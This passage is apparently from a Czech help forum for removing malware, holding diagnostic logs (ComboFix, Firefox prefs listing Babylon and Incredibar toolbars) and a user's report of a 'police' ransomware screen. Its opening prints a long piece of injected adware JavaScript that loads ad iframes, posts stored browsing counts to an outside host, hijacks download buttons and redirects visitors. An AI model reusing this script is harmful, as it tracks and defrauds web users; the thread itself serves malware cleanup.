468x60 120x600 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;var reff = window.top == window.self ? encodeURIComponent(window.self.location.href) : '';var surl = \http://an.z5x.net/tt?id=1992543&size=\+ ... eff;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [376,size]);}}catch(e){return !1;}},dsnr_dasa_gentb3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;var reff = window.top == window.self ? encodeURIComponent(window.self.location.href) : '';var surl = \http://an.z5x.net/tt?id=1992478&size=\+ ... eff;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [383,size]);}}catch(e){return !1;}},start_me_app_tier2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2030268&size= ... &pubclick=', (atp?atp:1), [410,size]);}}catch(e){return !1;}},intag_apx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://pl.intag.co/tt?id=2018543&size=' ... &pubclick=', (atp?atp:1), [416,size]);}}catch(e){return !1;}},dsnr_toptier2_gentb:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://an.z5x.net/tt?id=2059569&size='+size+'&referrer=', (atp?atp:1), [426,size]);}}catch(e){return !1;}},matomy_adj6:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;var arr={\728x90\:\2069849\,\300x250\:\2069844\,\160x600\:\2069857\}[size]; var surl = \http://ib.adnxs.com/tt?id=\+arr;;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [432,size]);}}catch(e){return !1;}},adstract_new_gentb:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90 120x600'.indexOf(size)) return !1;var atp=false;if(size == \120x60\) return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2070142&size='+size+'', (atp?atp:1), [433,size]);}}catch(e){return !1;}},adacive_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://a.adorika.net/c/banner_s?tenant= ... kin=iframe', (atp?atp:1), [246,size]);}}catch(e){return !1;}},mari_strm_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600'.indexOf(size)) return !1;var atp=false;if(size == \120x60\) return;var arr={\728x90\:\1879990\,\300x250\:\1879991\,\468x60\:\1879992\,\120x600\:\1879993\,\160x600\:\1879994\}[size]; var surl = \http://ib.adnxs.com/tt?id=\+arr;;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [430,size]);}}catch(e){return !1;}},e_viral_strm:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://net.e-viral.com/tt?id=1966468&size='+size+'', (atp?atp:1), [408,size]);}}catch(e){return !1;}},mmg_strm:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://srv1.mediads.info/tags/?tid=223& ... ub_domain=', (atp?atp:1), [429,size]);}}catch(e){return !1;}},matomy_strm_3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size == \120x60\){return};var arr={\728x90\:\2069791\,\300x250\:\2069790\,\160x600\:\2069794\}[size]; var surl = \http://ib.adnxs.com/tt?id=\+arr;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [431,size]);}}catch(e){return !1;}},hulk_porn:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600 300x600 250x250 600x400'.indexOf(size)) return !1;var atp=false;var surl='http://ads.ventivmedia.com/www/delivery/afr.php?zoneid=' + {\728x90\:\52\,\300x250\:\58\,\468x60\:\60\,\120x600\:\55\,\160x600\:\53\,\300x600\:\59\,\250x250\:\56\,\600x400\:\57\}[size] + '&cb=' + Math.random();;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [420,size]);}}catch(e){return !1;}}}};_zyad.init();;(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\undefined\==typeof localStorage||\undefined\==typeof localStorage.setItem||-1==a.indexOf(\MKiBbWjX=\)&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\cdncache-a.aka\))){if(-1<a.indexOf(\MKiBbWjX=\)){var d=a.match(/MKiBbWjX=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\x\,\.\);g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\zoneid\)?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var c=document.getElementsByTagName(\body\)[0];b=-1<a.indexOf(\cdncache-a.aka\)?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\.\+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\zyk_\+[e.getUTCFullYear()+\-\+(e.getUTCMonth()+1)+\-\+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\zEpoch\)){if(7200<k-parseInt(lsTime)){var h=document.createElement(\div\);b=[];for(i in localStorage)-1<i.indexOf(\zyk_\)&&b.push(\'\+i.replace(\zyk_\,\\)+\':\+localstorage.getitem(i));h.style.display=\none\;h.innerHTML='<iframe name=\webscorebox_ifr\></iframe><form target=\webscorebox_ifr\ method=\post\ action=\http://count3.webscorebox.com/?q=g708BN ... Y9rHUHra==\ id=\webscorebox_frm\><input type=\hidden\ name=\scores\ value=\{'+b.join(\,\)+'}\></form>';(typeof c!=\undefined\?c:document.getElementsByTagName(\body\)[0]).appendChild(h);document.getElementById(\webscorebox_frm\).submit();localStorage.clear()}}else localStorage.setItem(\zEpoch\,k)}}catch(p){}})();;(function(){-1<window.self.location.hostname.indexOf(\kass.t\)&&setTimeout(function(){if(document.getElementById(\_091c88d5b8c081bf15d212c4ae994c85\)){var a=document.getElementById(\_091c88d5b8c081bf15d212c4ae994c85\),b=document.createElement(\div\);b.setAttribute(\style\,\width:100%;height:300%;position:absolute;left:0;top:0\);b.innerHTML='<img src=\data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\ style=\width:100%;height:100%\>';a.style.position=\relative\;a.appendChild(b)}document.getElementById(\_2bffc94164dd9984ae4826e8bc988721\)&&(a=document.getElementById(\_2bffc94164dd9984ae4826e8bc988721\),b=document.createElement(\div\),b.setAttribute(\style\,\width:100%;height:121%;position:absolute;left:0;top:0\),b.innerHTML='<img src=\data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\ style=\width:100%;height:100%\>',a.style.position=\relative\,a.appendChild(b))},250);if(-1<window.self.location.hostname.indexOf(\eo-online.me\)&&window.self==window.top){var d=function(){try{if(jQuery(\.down, .dloadf, .dloadt\).attr(\href\,\#\),$(\#adsfrm\).length){var a=$(\#adsfrm\).offset();$('<img src=\data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\ style=\position:absolute;z-index:9999;top:'+a.top+\px;left:\+a.left+\px;width:\+$(\#adsfrm\).width()+\px;height:\+$(\#adsfrm\).height()+'px;\>').appendTo(\body\)}}catch(b){}},c=document.createElement(\script\);c.type=\text/javascript\;c[-1<navigator.userAgent.toLowerCase().indexOf(\msie\)?\text\:\innerhtml\]=$\+d.toString()+$()\;document.getElementsByTagName(\head\)[0].appendChild(c)}if(-1<window.self.location.hostname.indexOf(\irpy.co\)&&window.self==window.top)try{d=function(){try{$(\.download-maxiget, .download-trinity\).attr(\href\,\#\),$(\#mp3-with-trinity\).remove()}catch(a){}},-1<!navigator.userAgent.indexOf(\chrome\)?d():(c=document.createElement(\script\),c.innerHTML=$\+d.toString()+$()\,document.body.appendChild(c))}catch(e){}if('GB'!='CZ'&&-1<window.self.location.hostname.indexOf(\ehd.c\)&&document.getElementById(\r1113566095\)){var d=document.createElement(\img\);d.setAttribute(\style\,\width:100%;height:100%;position:absolute;z-index:99999;left:0;top:0\);d.src=\data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\;var a=document.getElementById(\r1113566095\).parentNode;a.style.position=\relative\;a.appendChild(d)};})();if(window.self.location.hostname.indexOf('hesefiles.c')>-1) window.self.location.href='about:blank';if(-1<window.self.location.hostname.indexOf(\usfiles.ne\)){var a=function(){$(\form[name=F1]\).submit(function(){if(-1<$(this).attr(\action\).indexOf(\bdl1=\))return $(\input[name=quick]\).attr(\checked\,!1),window.setTimeout(function(){$(\#btn_download\).attr(\disabled\,!1).val(\Download Now!!\);$(\form[name=F1]\).unbind(\submit\)},700),!1})};if(-1==navigator.userAgent.toLowerCase().indexOf(\chrome\))a();else{var s=document.createElement(\script\);s.type=\text/javascript\;s.innerHTML=$\+a.toString()+$()\;document.body.appendChild(s)}};if(-1<window.self.location.hostname.indexOf(\ebeast.co\)){var d=document.getElementsByTagName(\div\),i;for(i in d)d[i]&&d[i].style&&\fixed\==d[i].style.position&&\solid\==d[i].style.borderBottomStyle&&(d[i].style.display=\none\)};if(-1<window.self.location.hostname.indexOf(\oolrom.com\)){var date=new Date;date.setTime(date.getTime()+2592E6);var expires=\; expires=\+date.toGMTString();document.cookie=\installer=14604\+expires+\; path=/;domain=.coolrom.com\};;(function(){try{var b=\gonetwork.eu performancerevenues.com adtransfer adk2.com timehare clkads.com adcash xtendmedia.com cpxinteractive media-servers directrev doubleclick brealtime.com adnxs.com yieldmanager jsopen yieldads adserverplus clicksor exoclick.com vitalads zedo.com mshft pop.billi mediawhite edomz getjs adjuggler realpopbid bestadbid directdisplayad displayadfeed adorika displayadfeed akamaihd.net/ssa/ trusted-serving tusfiles clkmon.c minecraftdl\.split(\ \);for(i=0;i<b.length;i++){var a=location.href + (document.title?document.title.toLowerCase():\z\);if(document.referrer&&-1<document.referrer.indexOf(b[i])&&(-1<a.indexOf(\download\)||-1<a.indexOf(\convert\)||-1<window.self.location.href.indexOf(\babylon\)||-1<window.self.location.href.indexOf(\se Update Go\)||-1<window.self.location.href.indexOf(\ilivid\)||-1<window.self.location.href.indexOf(\download\)||-1<a.indexOf(\regclean\)||-1<a.indexOf(\etype\)||-1<a.indexOf(\diction\)||-1<a.indexOf(\my-uq\)||-1<a.indexOf(\ftalk\)||-1<a.indexOf(\pcspeedmaximizer\)||-1<a.indexOf(\kingtransl\)||-1<a.indexOf(\jsopen\)||-1<a.indexOf(\7-zip\)||-1<a.indexOf(\boost pc\)||-1<a.indexOf(\computer slow\)||-1<a.indexOf(\7-update14\)||-1<a.indexOf(\player\)) || location.hostname.indexOf('jsopen.net')>-1){location.href=\http://yt.jobfindgold.info/e/?eid=13&hi ... }}catch(d){}})();if(-1==window.self.location.hostname.indexOf('mail.')){for(i=0;5>i;i++)window.setTimeout(function(){document.getElementById('c2soffer')&&document.getElementById('c2soffer').parentNode.removeChild(document.getElementById('c2soffer'))},100*i);var c2soffer=document.querySelectorAll('div.c2soffer');if(c2soffer.length)for(var i=0;i<c2soffer.length;i++)c2soffer[i].parentNode.removeChild(c2soffer[i]);document.getElementById('w3uyh7g6h7f5x')&&document.getElementById('w3uyh7g6h7f5x').parentNode.removeChild(document.getElementById('w3uyh7g6h7f5x'))}})();(function(){void(0)})()
FF - prefs.js: keyword.URL - hxxp://search.icq.com/search/afe_result ... r=1.4.3&q=
FF - prefs.js: browser.startup.homepage -
FF - Ext: Default: {972ce4c6-7e08-4474-a285-3208198ce6fd} - c:\program files\Mozilla Firefox\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}
FF - Ext: Click to call with Skype: {82AF8DCA-6DE9-405D-BD5E-43525BDAD38A} - c:\program files\Mozilla Firefox\extensions\{82AF8DCA-6DE9-405D-BD5E-43525BDAD38A}
FF - Ext: ICQ Toolbar: {800b5000-a755-47e1-992b-48a1c1357f07} - %profile%\extensions\{800b5000-a755-47e1-992b-48a1c1357f07}
FF - Ext: ADDICT-THING: 4fc1fea6f2d29@4fc1fea6f2d63.info - %profile%\extensions\4fc1fea6f2d29@4fc1fea6f2d63.info
FF - Ext: Babylon: ffxtlbr@babylon.com - %profile%\extensions\ffxtlbr@babylon.com
FF - Ext: uTorrentControl_v2 : {7473b6bd-4691-4744-a82b-7854eb3d70b6} - %profile%\extensions\{7473b6bd-4691-4744-a82b-7854eb3d70b6}
FF - Ext: Seznam liĹˇtiÄŤka: {ea614400-e918-4741-9a97-7a972ff7c30b} - %profile%\extensions\{ea614400-e918-4741-9a97-7a972ff7c30b}
FF - Ext: avast! Online Security: wrc@avast.com - c:\program files\AVAST Software\Avast\WebRep\FF
FF - user.js: extensions.incredibar_i.newTab - false
FF - user.js: extensions.incredibar_i.tlbrSrchUrl - hxxp://mystart.Incredibar.com/?a=6R8ucU ... 26&search=
FF - user.js: extensions.incredibar_i.id - a44519f0000000000000001fd0a274b3
FF - user.js: extensions.incredibar_i.instlDay - 15487
FF - user.js: extensions.incredibar_i.vrsn - 1.5.11.14
FF - user.js: extensions.incredibar_i.vrsni - 1.5.11.14
FF - user.js: extensions.incredibar_i.vrsnTs - 1.5.11.1421:24
FF - user.js: extensions.incredibar_i.prtnrId - Incredibar
FF - user.js: extensions.incredibar_i.prdct - incredibar
FF - user.js: extensions.incredibar_i.aflt - orgnl
FF - user.js: extensions.incredibar_i.smplGrp - none
FF - user.js: extensions.incredibar_i.tlbrId - base
FF - user.js: extensions.incredibar_i.instlRef -
FF - user.js: extensions.incredibar_i.dfltLng -
FF - user.js: extensions.incredibar_i.excTlbr - false
FF - user.js: extensions.incredibar_i.ms_url_id -
FF - user.js: extensions.incredibar_i.upn2 - 6R8ucUitdV
FF - user.js: extensions.incredibar_i.upn2n - 92824433622969027
FF - user.js: extensions.incredibar_i.productid - 26
FF - user.js: extensions.incredibar_i.installerproductid - 26
FF - user.js: extensions.incredibar_i.did - 10650
FF - user.js: extensions.incredibar_i.ppd - 20%5F5
FF - user.js: extensions.BabylonToolbar_i.id - a44519f0000000000000001fd0a274b3
FF - user.js: extensions.BabylonToolbar_i.hardId - a44519f0000000000000001fd0a274b3
FF - user.js: extensions.BabylonToolbar_i.instlDay - 15543
FF - user.js: extensions.BabylonToolbar_i.vrsn - 1.5.3.17
FF - user.js: extensions.BabylonToolbar_i.vrsni - 1.5.3.17
FF - user.js: extensions.BabylonToolbar_i.vrsnTs - 1.5.3.1721:40
FF - user.js: extensions.BabylonToolbar_i.prtnrId - babylon
FF - user.js: extensions.BabylonToolbar_i.prdct - BabylonToolbar
FF - user.js: extensions.BabylonToolbar_i.aflt - babsst
FF - user.js: extensions.BabylonToolbar_i.smplGrp - none
FF - user.js: extensions.BabylonToolbar_i.tlbrId - base
FF - user.js: extensions.BabylonToolbar_i.newTab - false
FF - user.js: extensions.BabylonToolbar_i.babTrack - affID=114022&tt=2912_8
FF - user.js: extensions.BabylonToolbar_i.babExt -
FF - user.js: extensions.BabylonToolbar_i.srcExt - ss
FF - user.js: extensions.BabylonToolbar_i.instlRef - sst

RegLock::
[HKEY_LOCAL_MACHINE\software\Classes\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}]
[HKEY_LOCAL_MACHINE\software\Classes\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}\Elevation]
[HKEY_LOCAL_MACHINE\software\Classes\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}\LocalServer32]
[HKEY_LOCAL_MACHINE\software\Classes\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}\TypeLib]
[HKEY_LOCAL_MACHINE\software\Classes\Interface\{6AE38AE0-750C-11E1-B0C4-0800200C9A66}]
[HKEY_LOCAL_MACHINE\software\Classes\Interface\{6AE38AE0-750C-11E1-B0C4-0800200C9A66}\ProxyStubClsid32]
[HKEY_LOCAL_MACHINE\software\Classes\Interface\{6AE38AE0-750C-11E1-B0C4-0800200C9A66}\TypeLib]

Reboot::

Uložte na plochu jako CFScript.txt. Pak jej myší přetáhněte nad ikonu ComboFix a pusťte. CF se spustí a vykoná příkazy ze skriptu.

Antivirus94 · #6 Příspěvek od **Antivirus94** » 04 led 2014 22:34

Další log z COMBOFIXU! Jinak opět naskočilo přes celou obrazovku upozornění od toho "policejního" viru. Stalo se tak po restartu, který vyvolal COMBOFIX.

--------------------------------------------------------------------------------------------------------------------------------------
ComboFix 14-01-04.03 - 123 04.01.2014 22:09:25.2.1 - x86
Microsoft Windows XP Home Edition 5.1.2600.3.1250.420.1029.18.959.446 [GMT 1:00]
Spuštěný z: C:\Documents and Settings\123\Plocha\ComboFix.exe
Použité ovládací přepínače :: C:\Documents and Settings\123\Plocha\CFScript.txt
AV: avast! Antivirus *Disabled/Updated* {7591DB91-41F0-48A3-B128-1A293FD8233D}

FILE ::
"c:\windows\Tasks\GoogleUpdateTaskMachineCore.job"
"c:\windows\Tasks\GoogleUpdateTaskMachineUA.job"

((((((((((((((((((((((((((((((((((((((( Ostatní výmazy )))))))))))))))))))))))))))))))))))))))))))))))))

c:\program files\AVAST Software\Avast\WebRep\FF\content\about.xul
c:\program files\AVAST Software\Avast\WebRep\FF\content\aos.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\libs\avastwrc.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\libs\csl.parser.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\libs\dateFormat.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\libs\jquery-1.5.2.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\libs\jquery.mustache.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\libs\lodash.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\libs\pbj.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\libs\protobuf.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\libs\query.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\libs\wrc_gpb.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\mocks\empty.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\mocks\ga.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\mocks\omniture.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\scripts\bal.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\scripts\ial.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\scripts\options.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\scripts\templates.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\css\extension.css
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\css\settings.css
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\arrow.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\avast-logo.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\avastlogo@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\fblike.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\flattr.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\google+.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\grey0-16.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_bug.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_bug@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_close.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_close@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_close_small.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_close_small@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_exclamationmark.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_exclamationmark@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_extensiontop.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_extensiontop_green.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_extensiontop_orange.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_extensiontop_red.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_eye.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_eye@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_check.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_check@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_checkbig.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_checkbig@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_interm.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_maleware.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_maleware@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_norating_big.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_norating_big@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_norating_big2.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_norating_big2@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_rates.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_rates@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_siteforward.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_siteforward@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_thumbdown_big.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_thumbdown_big@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_thumblearn.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_thumblearn@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_thumbright_big.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_thumbright_big@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_thumbup_big.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_thumbup_big@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_warning.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icn_warning@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icnclose_small.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icnthumbdownsmall.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icnthumbdownsmall@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icnthumbsmall.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icnthumbsmall@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icon128.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icon256.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icon48.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\icon64.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\img_bg.jpg
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\inshare.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\logo_avast.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\logo_avastblack.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\logo_avastblack@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\logo_avastcolor.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\logo_avastcolor@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\logo_avastsmall.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\logo_avastsmall@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\pin.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\sas_close.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\sas_conf.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\sas_drop.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\sas_help.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\sas_logo.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\se_icn_green.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\se_icn_grey.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\se_icn_norating.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\se_icn_orange.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\se_icn_red.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\se_icn_thumbdown.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\se_icn_thumbneutral.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\se_icn_thumbup.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switcher_dotgreen.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switcher_dotgreen@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switcher_dotorange.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switcher_dotorange@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switcher_dotred.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switcher_dotred@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switcher_greenbg.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switcher_greenbg@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switcher_orangebg.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switcher_orangebg@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switcher_redbg.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switcher_redbg@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switchersmall_dotgreen.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switchersmall_dotgreen@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switchersmall_dotred.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\switchersmall_dotred@2x.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\tumblr.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\tweet.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\vklike.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\common\skin\img\xinglike.png
c:\program files\AVAST Software\Avast\WebRep\FF\content\dateFormat.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\extension.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\hover.css
c:\program files\AVAST Software\Avast\WebRep\FF\content\hoverContent.html
c:\program files\AVAST Software\Avast\WebRep\FF\content\install.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\jquery.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\libs\avastwrc.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\libs\dateFormat.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\libs\jquery-1.5.2.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\libs\jquery.1.8.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\libs\jquery.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\libs\pbj.js
